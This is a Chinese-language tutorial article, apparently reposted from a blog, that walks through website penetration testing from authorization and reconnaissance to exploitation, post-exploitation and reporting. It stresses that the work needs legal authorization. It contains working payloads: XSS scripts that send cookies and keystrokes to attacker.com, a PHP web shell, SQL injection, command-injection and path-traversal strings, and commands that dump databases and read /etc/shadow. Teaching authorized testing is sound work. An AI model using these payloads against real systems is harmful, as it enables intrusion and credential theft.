文章总结: 本文详细介绍了网站渗透测试的完整流程,包括前期准备、信息收集、漏洞扫描、漏洞利用、后渗透和报告编写六个关键步骤。文章提供了大量实用工具和命令示例,如nmap、sqlmap、BurpSuite等,并强调了合法授权的重要性。对于安全测试人员而言,这是一份系统性的实践指南,可帮助建立标准化的测试流程。 综合评分: 91 文章分类: 渗透测试,WEB安全,安全工具,漏洞分析,实战经验
面试官问:“给你一个网站,你将如何开展渗透测试”,这样回答就稳了!
原创
筑梦网安
全栈安全
2025年12月15日 22:55 浙江
渗透测试(Penetration Testing,简称“渗透”)是一个模拟真实黑客攻击过程,以评估目标网站或系统的安全性,并识别其中安全漏洞的系统性过程。对一个网站开展渗透测试,通常要遵循一个明确的方法论/步骤,使用经典的安全工具,同时要满足法律和道德要求。
1. 开展渗透测试的6个关键步骤
1.1. 前期准备阶段(Pre-Engagement)
1.1.1. 确定测试范围
- 明确目标系统/应用范围
- 确定测试类型(黑盒/白盒/灰盒)
- 明确测试时间窗口
- 签署授权协议(非常重要!)
1.1.2. 收集基本信息
- 目标域名/IP地址
- 子域名列表
- 技术栈信息(CMS、框架、服务器等)
1.2. 信息收集阶段(Reconnaissance)
1.2.1. 被动信息收集(Passive Reconnaissance)
1.2.1.1. DNS信息收集
# 子域名枚举
subfinder -d example.com
amass enum -passive -d example.com
sublist3r -d example.com
# DNS记录查询
dig example.com ANY
nslookup example.com
dnsrecon -d example.com
1.2.1.2. WHOIS查询
whois example.com
# 在线工具:whois.net, whois.com
1.2.1.3. SSL/TLS证书信息
# SSL证书信息
openssl s_client -connect example.com:443 -showcerts
sslscan example.com
# 证书透明度日志
# 使用 crt.sh 或 certspotter.com
1.2.1.4. 搜索引擎信息收集
- Google Dorking
- Shodan.io(搜索IoT设备和服务器)
- Censys.io(证书和服务器信息)
- GitHub代码泄露搜索
1.2.2. 主动信息收集(Active Reconnaissance)
1.2.2.1. 端口扫描
# 全面扫描
nmap -sS -sV -O -A -p- target_ip
# 快速扫描
nmap -sS -F target_ip
# UDP扫描
nmap -sU target_ip
# 使用Masscan进行快速扫描
masscan -p1-65535 target_ip --rate=1000
1.2.2.2. 服务识别
# 服务版本检测
nmap -sV target_ip
# Banner抓取
nc target_ip port
telnet target_ip port
1.2.2.3. Web应用信息收集
# HTTP头信息
curl -I https://example.com
# 技术栈识别
whatweb https://example.com
wappalyzer (浏览器插件)
# 目录和文件枚举
gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
dirb https://example.com
dirsearch -u https://example.com
ffuf -w wordlist.txt -u https://example.com/FUZZ
1.3. 漏洞扫描阶段(Vulnerability Scanning)
1.3.1. Web应用漏洞扫描
1.3.1.1. 自动化扫描工具
# OWASP ZAP
zap-cli quick-scan https://example.com
# Burp Suite
# 使用Professional版本进行主动扫描
# Nikto
nikto -h https://example.com
# SQLMap(SQL注入)
sqlmap -u "https://example.com/page?id=1" --dbs
# XSStrike(XSS漏洞)
python xsstrike.py -u https://example.com/search?q=test
1.3.2. 常见漏洞类型检测
1.3.2.1. SQL注入
- 手动测试:
' OR '1'='1,1' UNION SELECT NULL-- - 工具:SQLMap, NoSQLMap
1.3.2.2. XSS(跨站脚本)
- 反射型:
<script>alert('XSS')</script> - 存储型:在输入字段中测试
- DOM型:检查JavaScript代码
1.3.2.3. 文件上传漏洞
- 测试各种文件扩展名
- 检查MIME类型验证
- 测试路径遍历:
../../../etc/passwd
1.3.2.4. 命令注入
; ls| whoami&& cat /etc/passwd$(whoami)
1.3.2.5. 路径遍历
../../../etc/passwd....//....//etc/passwd- URL编码绕过
1.3.2.6. 身份认证绕过
- 弱密码测试
- 会话管理问题
- JWT token安全性
1.3.2.7. 权限提升
- 水平权限绕过
- 垂直权限提升
1.3.3. 配置文件和信息泄露
# 查找敏感文件
gobuster dir -u https://example.com -w wordlist.txt -x .env,.bak,.old,.backup
# 常见敏感文件
/.env
/.git/config
/robots.txt
/sitemap.xml
/web.config
/phpinfo.php
/server-status
/.DS_Store
1.4. 漏洞利用阶段(Exploitation)
1.4.1. Web应用漏洞利用
1.4.1.1. SQL注入利用
# 获取数据库名
sqlmap -u "URL" --dbs
# 获取表名
sqlmap -u "URL" -D database_name --tables
# 获取数据
sqlmap -u "URL" -D database_name -T table_name --dump
1.4.1.2. XSS利用
// Cookie窃取
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
// 键盘记录
<script>document.onkeypress = function(e) {fetch('http://attacker.com/keylog?key='+e.key);}</script>
1.4.1.3. 文件上传后门
<?php system($_GET['cmd']); ?>
1.4.2. 系统漏洞利用
1.4.2.1. Metasploit框架
# 启动Metasploit
msfconsole
# 搜索漏洞
search exploit_name
# 使用漏洞利用模块
use exploit/path/to/exploit
set RHOSTS target_ip
set RPORT target_port
exploit
1.5. 后渗透阶段(Post-Exploitation)
1.5.1. 权限维持
- 创建后门账户
- 添加SSH密钥
- 计划任务(cron jobs)
- Web shell持久化
1.5.2. 横向移动
- 网络扫描(内网)
- 密码哈希提取和破解
- Pass-the-Hash攻击
- 凭证重用
1.5.3. 数据收集
# Linux系统信息
uname -a
cat /etc/passwd
cat /etc/shadow
env
ps aux
netstat -antp
# Windows系统信息
systeminfo
net user
net localgroup administrators
ipconfig /all
1.6. 报告编写(Reporting)
1.6.1. 报告结构
- 执行摘要
- 测试概述
- 发现的关键漏洞数量
- 风险等级总体评估
- 测试范围和方法
- 测试范围说明
- 使用的工具和技术
- 测试时间线
- 漏洞详情
- 漏洞名称和描述
- CVSS评分
- 漏洞位置和复现步骤
- 影响评估
- 修复建议
- 概念验证(PoC)
- 修复建议优先级
- 高风险漏洞(立即修复)
- 中风险漏洞(尽快修复)
- 低风险漏洞(计划修复)
- 附录
- 工具清单
- 参考资料
- 截图和日志
2. 渗透测试的常用工具清单、方法论及注意事项
2.1. 推荐工具清单
2.1.1. 信息收集
- subfinder – 子域名枚举
- amass – 综合信息收集
- nmap – 端口扫描
- masscan – 快速端口扫描
- theHarvester – 邮件和子域名收集
2.1.2. Web应用扫描
- Burp Suite – Web应用安全测试(专业版)
- OWASP ZAP – 免费Web应用扫描器
- SQLMap – SQL注入工具
- Nikto – Web服务器扫描
- dirb/gobuster – 目录枚举
2.1.3. 漏洞利用
- Metasploit – 漏洞利用框架
- Exploit-DB – 漏洞数据库
- SearchSploit – 本地漏洞搜索
2.1.4. 密码攻击
- Hydra – 密码暴力破解
- John the Ripper – 密码破解
- Hashcat – 高级密码破解
2.1.5. 网络分析
- Wireshark – 数据包分析
- tcpdump – 命令行抓包
- netcat – 网络工具瑞士军刀
2.1.6. 其他工具
- Recon-ng – Web侦察框架
- Shodan CLI – Shodan搜索
- SSLscan – SSL/TLS测试
- wfuzz – Web应用模糊测试
2.2. 渗透测试方法论
2.2.1. OWASP Testing Guide
- 基于OWASP Top 10的测试方法
2.2.2. PTES (Penetration Testing Execution Standard)
- Pre-engagement Interactions
- Intelligence Gathering
- Threat Modeling
- Vulnerability Analysis
- Exploitation
- Post Exploitation
- Reporting
2.2.3. NIST Cybersecurity Framework
- Identify
- Protect
- Detect
- Respond
- Recover
2.3. 法律和道德注意事项
2.3.1. ⚠️ 重要提醒
- 必须有明确的授权 – 未经授权的渗透测试是违法的
- 遵守测试范围 – 不要超出授权范围
- 数据保护 – 不要泄露或滥用获取的数据
- 最小影响原则 – 尽量减少对目标系统的影响
- 保密协议 – 遵守NDA和保密要求
3. 实际测试流程示例
# 1. 信息收集
subfinder -d example.com -o subdomains.txt
nmap -sS -sV -oA scan example.com
# 2. Web目录枚举
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt
# 3. 漏洞扫描
nikto -h https://example.com
zap-cli quick-scan https://example.com
# 4. 手动测试
# 使用Burp Suite进行手动测试,可以借助Burp AI插件加速手工测试
# 5. SQL注入测试
sqlmap -u "https://example.com/search?q=test" --batch
# 6. XSS测试
# 在Burp Suite中测试所有输入点
# 7. 生成报告
# 整理所有发现,编写详细报告
资源福利:
- 渗透测试检查清单.xlsx: https://url25.ctfile.com/f/1848625-8559927539-7872a2?p=6277
渗透测试检查清单
注意:本指南仅用于授权的安全测试。未经授权的访问他人系统是违法行为,可能导致严重的法律后果。
关注我,带你看懂技术本质!用最接地气的”人话”拆解硬核知识,让复杂概念变得简单易懂 🔥
添加好友邀请进技术交流群
每周更新:
- 💡 技术原理图解:一图胜千言,直观呈现技术架构
- 🛠️ 实战案例解析:结合真实项目经验,分享避坑指南
- 🤖 前沿技术追踪:第一时间解读AI、区块链等新兴领域
适合人群:
- ✅ 技术小白想系统入门
- ✅ 开发者想提升技术深度
- ✅ 产品经理需要技术洞察
- ✅ 所有对科技充满好奇的人
在这里你能获得:
- ✨ 复杂技术简单化
- ✨ 抽象概念具象化
- ✨ 理论知识实用化
- ✨ 学习路径清晰化
点击关注,开启你的技术认知升级之旅! 🚀
查看原文:《面试官问:“给你一个网站,你将如何开展渗透测试”,这样回答就稳了!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论